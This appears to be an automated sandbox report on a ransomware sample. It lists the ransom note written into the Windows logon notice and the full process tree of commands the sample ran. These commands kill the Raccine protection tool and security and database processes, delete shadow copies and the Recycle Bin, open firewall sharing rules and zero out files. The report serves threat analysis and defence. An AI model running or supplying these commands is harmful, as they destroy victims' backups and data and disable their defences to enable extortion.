Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1100
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\system32\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:1120
- C:\Windows\system32\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:1644
- C:\Windows\system32\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:1356
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:1760
- C:\Windows\system32\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:368
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:2032
- C:\Windows\system32\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:820
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:1580
- C:\Windows\system32\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:1740
- C:\Windows\system32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:1536
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:1088
- C:\Windows\system32\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:920
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  PID:576
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  PID:1632
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:568
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:896
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  PID:1152
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  PID:1908
- C:\Windows\system32\arp.exe
  "arp" -a
  2⤵
  PID:696
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:972
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1324
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:344
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1420
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:288
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:368
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2012
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1908
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1632
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1832
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1704
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1492
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:552
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:896
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:952
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:456
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1356
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1552
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:1548
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1760
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1604
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:924
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:1700
- C:\Windows\system32\arp.exe
  "arp" -a
  2⤵
  PID:1492
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
  2⤵
  - Modifies Internet Explorer settings
  PID:1172
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1932
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:1572
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
  2⤵
  - Deletes itself
  PID:368
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1832

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "3653646951931304608109631172-1643869305-1673846586425469173-95249025-673882750"
1⤵
PID:696

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1761299191739371325-116918372888515702039799086-1255687407820406504-736121928"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:576

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2104153767-950436967-801032311-109210083213184683151055800127-1630302109640244236"
1⤵
PID:568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1100-62-0x00000000005E0000-0x00000000005E2000-memory.dmp

Filesize
8KB

Download
memory/1100-60-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/1576-133-0x000000001AD54000-0x000000001AD56000-memory.dmp

Filesize
8KB

Download
memory/1576-129-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1576-130-0x000000001ADD0000-0x000000001ADD1000-memory.dmp

Filesize
4KB

Download
memory/1576-131-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/1576-132-0x000000001AD50000-0x000000001AD52000-memory.dmp

Filesize
8KB

Download
memory/1576-134-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

Download
memory/1760-71-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp

Filesize
8KB

Download